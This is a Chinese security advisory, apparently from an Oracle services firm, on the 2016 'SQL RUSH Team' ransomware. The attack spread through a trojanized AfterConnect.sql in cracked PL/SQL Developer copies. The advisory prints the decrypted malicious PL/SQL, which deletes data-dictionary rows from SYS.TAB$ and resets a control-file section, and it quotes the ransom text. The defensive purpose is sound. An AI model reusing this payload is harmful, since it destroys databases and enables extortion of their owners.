查看原文
其他

【红色警报】近期Oracle数据库遭受比特币勒索攻击原因揭秘和预防(一)

2016-11-16 云和恩墨 云和恩墨

最近,很多用户遭遇到数据库的安全问题,我们在此提示所有Oracle数据库用户关注此问题。


问题症状:

登录数据库时,提示数据库被锁死,黑客提示发送5个比特币可以解锁。

如果从客户端登录,你获得的提示信息示例了能如下:


在数据库的日志中,可能获得的信息如下:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库  

Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at “XXX.DBMS_CORE_INTERNAL         ", line 27

ORA-06512: at line 2


问题原因:

根据我们收集的信息分析,这个问题的原因是:

如果用户从某些不明来源下载了PL/SQL Developer工具后(尤其是各种绿色版、破解版),这个工具的安装目录存在一个脚本文件AfterConnect.sql,正常安装这个脚本是空文件,但是被注入的文件,该脚本包含了一系列的JOB定义、存储过程和触发器定义。


受感染的AfterConnect.sql脚本开头伪装非常正常的代码:


实质内容却是加密的恶意代码:


脚本代码的核心部分解密后如下:

BEGIN

   SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

   FOR I IN 1..2046 LOOP

   DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

   DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ');

   END LOOP;

   END IF;

END;  


一旦使用这个工具访问数据库,相应对象会被后台自动注入数据库,执行触发器阻止后续的用户登录,并通过任务Truncate数据库表。


我们强烈建议用户检查数据库工具的使用情况,避免使用来历不明的工具产品。

我们强烈建议:采用正版软件,规避未知风险。


安全漏洞:

几乎绝大多数客户端工具,在访问数据库时,都可以通过脚本进行一定的功能定义,而这些脚本往往就是安全问题的漏洞之一,来历不明的工具是数据库管理大忌,以下列出了常见客户端工具的脚本位置,需要引起注意:

SQL*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql


处置建议:

如果您的数据库已经遭受攻击和数据损失,可以紧急联系云和恩墨的服务团队,我们可以帮助您处理数据修复事宜。云和恩墨的ODU产品,可以在数据丢失后最大限度的恢复数据。


事件回顾:

2015年9月,XcodeGhost入侵苹果iOS事件在业内引起不小震动。事件起因为不知名黑客向iOS应用开发工具Xcode植入恶意程序,通过网盘和论坛上传播,被感染的App并以此劫持苹果用户相关信息。来自多个安全团队数据显示,病毒感染波及AppStore下载量最高的5000个App其中的76个,保守估计受影响用户数超过一亿。

2012年2月,中文版putty等SSH远程管理工具被曝出存在后门,该后门会自动窃取管理员所输入的SSH用户名与口令,并将其发送至指定服务器上。


请关注云和恩墨公司微信号,我们将随时更新这次安全事故的其他信息。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存